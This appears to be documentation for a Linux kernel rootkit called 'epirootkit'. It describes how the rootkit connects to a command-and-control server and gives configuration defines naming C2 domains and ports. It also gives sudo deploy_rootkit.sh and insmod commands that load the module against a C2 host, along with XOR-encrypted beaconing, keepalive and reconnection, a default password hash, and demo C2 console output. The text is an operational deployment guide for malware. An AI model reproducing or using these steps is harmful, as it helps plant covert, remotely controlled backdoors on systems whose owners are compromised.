Connection Process

When the rootkit loads, it automatically:

  1. Starts connection thread (epirootkit_conn)
  2. Resolves domain (if address is domain name) - see DNS Resolution
  3. Attempts TCP connection to configured C2 server
  4. Begins keepalive system (60-second ping/pong)
  5. Enables XOR encryption for all C2 communication
  6. Handles reconnection with exponential backoff

Configuration with Domain Support 

  // rootkit/core/config.h - Domain examples
#define C2_SERVER_ADDRESS "jules-c2.example.com"  // Domain name
#define C2_SERVER_PORT 4444
#define KEEPALIVE_INTERVAL_MS 60000
#define RECONNECT_DELAY_MS 5000

// Or traditional IP
#define C2_SERVER_ADDRESS "192.168.64.1"  // IP address
#define C2_SERVER_PORT 4444

Runtime Parameters

Override config.h settings during deployment:

  # Deploy with domain
sudo ./deploy_rootkit.sh address=secure.company.net port=443

# Deploy with IP
sudo ./deploy_rootkit.sh address=10.0.0.100 port=8080

Authentication System

How It Works

  1. C2 sends command: auth Client-1 password
  2. Rootkit receives: Plain text password
  3. Rootkit hashes: Using SHA-512 kernel crypto API
  4. Compares hash: Against stored hash in config
  5. Returns result: SUCCESS or ERROR

Implementation 

  // Default password is "password" (SHA-512 hash stored in config)
#define PASSWORD_HASH "b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326af5a2ea6d103fd07c95385ffab0cacbc86"

Security Features

  • Rate limiting: 5 attempts per 60 seconds
  • Session timeout: 1 hour automatic expiry
  • Secure hashing: SHA-512 using kernel crypto API

Keepalive System

  • Ping interval: Every 60 seconds
  • Timeout detection: 30 seconds for response
  • Failure threshold: 3 consecutive failed pings
  • Automatic reconnection: Exponential backoff (5s → 10s → 20s → 40s → 60s max)

Monitoring 

  # Check keepalive status from C2
c2-server$ keepalive Client-1
# Keepalive Status:
# Last ping sent: 2025-05-25 16:14:00
# Last pong received: 2025-05-25 16:14:00
# Failed ping count: 0
# Connection stable: YES

Live Demo

1. Start C2 Server 

  cd attacking_program && pnpm start

2. Load Rootkit with Domain 

  # Deploy with domain name
sudo ./deploy_rootkit.sh address=c2.test-domain.com port=4444

# Or load directly
sudo insmod epirootkit.ko address=c2.test-domain.com port=4444

C2 server shows:

  [2025-05-25 16:13:09] New client connected: Client-1
[2025-05-25 16:13:09] Client-1 status: UNAUTHENTICATED

3. Authenticate 

  c2-server$ auth Client-1 password
# ✓ [2025-05-25 16:13:29] Authenticated
# SUCCESS: Authentication successful

For DNS resolution details, see DNS Resolution.

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